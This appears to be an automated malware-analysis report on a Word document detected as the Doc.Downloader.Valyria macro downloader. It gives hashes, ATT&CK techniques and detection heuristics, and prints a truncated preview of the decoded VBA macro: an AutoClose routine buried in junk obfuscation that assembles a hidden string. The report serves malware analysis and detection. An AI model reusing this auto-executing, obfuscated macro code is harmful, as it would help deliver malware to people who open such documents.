Doc.Downloader.Valyria-6595163-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 06dd4ef4ba9ea36b…

MALICIOUS

Office (OLE)

265.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 8086a5c9c4bad6c8d081c46c93a31756 SHA-1: 1cf67bdb83bd9b57b0d4f8c678999a62095ab829 SHA-256: 06dd4ef4ba9ea36b3cb1556218fe45d4f0d20315a8d6800bb4a2fd0cda09bd45
222 Risk Score

Malware Insights

Doc.Downloader.Valyria-6595163-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Valyria-6595163-0. Static analysis revealed a VBA macro within the AutoClose subroutine, which is designed to execute automatically when the document is closed. This macro likely serves to download and execute a secondary payload, a common technique for malware distribution.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 81751 bytes
SHA-256: 5f013e724accf9b844ab03a801874a14b42443568b651df5d0a55201414b0dbf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub ByxuMoBuSIKEwovEgUlE()
LyMyiAvogyfyzAdYCEVUTa = Val("68092.10") & "XYxEsoZAZaTALUHUFOCuNU"
wUtUldUSAMynryJ = InStr("BeRokYmIGUaGywopOxo", "BeRokYmIGUaGywopOxoBeRokYmIGUaGywopOxo")
pyXAjeQylyXejaQeRIvOw = 45213
Dim QyGaHEbUnuVIdIgU
For QyGaHEbUnuVIdIgU = 1 To 12
   Dim jUlIcUDqATUQoVil
   jUlIcUDqATUQoVil = Fix(53202)
Next
Dim NihuJeGiLUL
NihuJeGiLUL = Log(9)

NihuJeGiLUL = NihuJeGiLUL + Log(11)

DYpezuieiojuMUTAw = 17242
Dim zEwYqOJYrUl
For zEwYqOJYrUl = 2 To 11
   Dim TOkUcavAPYeLENuZECa
   TOkUcavAPYeLENuZECa = Fix(85061)
Next

Dim QenUWIaeFUSiwapEadYmov
QenUWIaeFUSiwapEadYmov = Rnd(103)
If QenUWIaeFUSiwapEadYmov > 44608 Then
   QenUWIaeFUSiwapEadYmov = Exp(3)
End If
Dim tuHIWAxelanIfucoTi
tuHIWAxelanIfucoTi = Log(10)

tuHIWAxelanIfucoTi = tuHIWAxelanIfucoTi + Log(10)
End Sub
Sub AutoClose()
On Error Resume Next


Dim fuVEJatYsofiFISuHalodiiO
fuVEJatYsofiFISuHalodiiO = Log(5)

fuVEJatYsofiFISuHalodiiO = fuVEJatYsofiFISuHalodiiO + Log(11)
Dim dApuwoxAMuaEZeioKeLecYd
dApuwoxAMuaEZeioKeLecYd = Log(6)

dApuwoxAMuaEZeioKeLecYd = dApuwoxAMuaEZeioKeLecYd + Log(13)
Dim qeqDALUMISiteJISIk
For qeqDALUMISiteJISIk = 10 To 13
FECOZyKoZEwIzYnigA = 68924
Dim mulIdEMYlyiOJilOa
For mulIdEMYlyiOJilOa = 6 To 11
   Dim ZuviGozuBoewYQeMaiesyf
   ZuviGozuBoewYQeMaiesyf = Fix(37173)
Next
   Dim coKUNINITyqiDuTuWEl
   coKUNINITyqiDuTuWEl = Fix(42495)
Next
Dim dUjatiZYWYsyBApbuGAsYV
dUjatiZYWYsyBApbuGAsYV = Log(8)

dUjatiZYWYsyBApbuGAsYV = dUjatiZYWYsyBApbuGAsYV + Log(13)
pIMIruiONiDuL = Val("9491.9") & "aYlIwAsuVOgUiAZ"
Dim KeTEGuiuJASaHeKulhYVyz
mUXoBomYcixO = InStr("moSTESIsilaKuDovyiuL", "moSTESIsilaKuDovyiuLmoSTESIsilaKuDovyiuL")
For KeTEGuiuJASaHeKulhYVyz = 10 To 12
   Dim aeiaFuZypEtiQ
   aeiaFuZypEtiQ = Fix(72502)
Next
GIcjYnuKAdIcOPYMy = Val("31263.2") & "PuFYVUDidIH"
Dim LEBLEFOPyNArYtp
For LEBLEFOPyNArYtp = 7 To 11
   Dim mOCoWOGugoqYmiNuTovAM
   mOCoWOGugoqYmiNuTovAM = Fix(85709)
Next
HAgeFivAHAFUFYjY = ""
Dim QAxiXjaqYkAXELykiQXafu
For QAxiXjaqYkAXELykiQXafu = 8 To 12
   Dim qELuhXUqIjUDuzYkoQoGAv
   qELuhXUqIjUDuzYkoQoGAv = Fix(23857)
Next
dUFEtePEjOcIaOxuWECIZO = 87975
Dim QiaugobeDIqiXAsAruvOrUv
QiaugobeDIqiXAsAruvOrUv = Rnd(134)
If QiaugobeDIqiXAsAruvOrUv > 16075 Then
   QiaugobeDIqiXAsAruvOrUv = Exp(4)
End If
GYwYnaPiLUVanEGogAjY = Val("47338.3") & "SiMUNOgOrOSeqaseLEJoSyM"
ikuHoXvuLohihUDU = Val("98790.8") & "egAniWoJoNixubyVixyDAr"

Dim QoTeryWrOjalGuH
QoTeryWrOjalGuH = Rnd(129)
If QoTeryWrOjalGuH > 1392 Then
   QoTeryWrOjalGuH = Exp(9)
End If
PYkAGIaiDiUQeLpIxUdU = 8476

Dim zaipUfcamugIhy
Debug.Print "gyNyvyKREnEqUbiKUf"
Debug.Print "rOROlyrHUvErPy"
zaipUfcamugIhy = Log(5)

Debug.Print "PiXEOQyWebEioMu"
zaipUfcamugIhy = zaipUfcamugIhy + Log(11)
HIvIbMiTidgOCAnAje = InStr("CegAxanebeJeCEruDigI", "CegAxanebeJeCEruDigICegAxanebeJeCEruDigI")
 HAgeFivAHAFUFYjY = HAgeFivAHAFUFYjY + IIf((140 + 280) = 420, "s", "nNL")
Dim XUnyMAGEMiMuMilOMOBxuMO
XUnyMAGEMiMuMilOMOBxuMO = Rnd(118)
If XUnyMAGEMiMuMilOMOBxuMO > 80013 Then
   XUnyMAGEMiMuMilOMOBxuMO = Exp(8)
End If
Debug.Print "GoryWugUqaVa"

Dim rYgEGYZIPuaeCAJl
rYgEGYZIPuaeCAJl = Log(4)

rYgEGYZIPuaeCAJl = rYgEGYZIPuaeCAJl + Log(11)
Debug.Print "nuwameBFEferu"
eZELixigISIJziBoZO = InStr("tAmywaqapiMAxSaMeZY", "tAmywaqapiMAxSaMeZYtAmywaqapiMAxSaMeZY")
Dim fIbPelYDoGe
For fIbPelYDoGe = 9 To 10
   Dim qyVUHEXEKyLyP
   qyVUHEXEKyLyP = Fix(96195)
Next
Debug.Print "GUMAKuDomOpUCEayvEBucO"
Dim zimoDeDyBEQarUfITEbEdO
For zimoDeDyBEQarUfITEbEdO = 9 To 13
   Dim lYJAbUFiQEWjatyFAtudUW
   lYJAbUFiQEWjatyFAtudUW = Fix(54786)
Next
Dim lEyluvuPIGalUG
For lEyluvuPIGalUG = 1 To 13
   Dim vAzAHevzIduBIkUs
   vAzAHevzIduBIkUs = Fix(81075)
Next
HAgeFivAHAFUFYjY = HAgeFivAHAFUFYjY 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.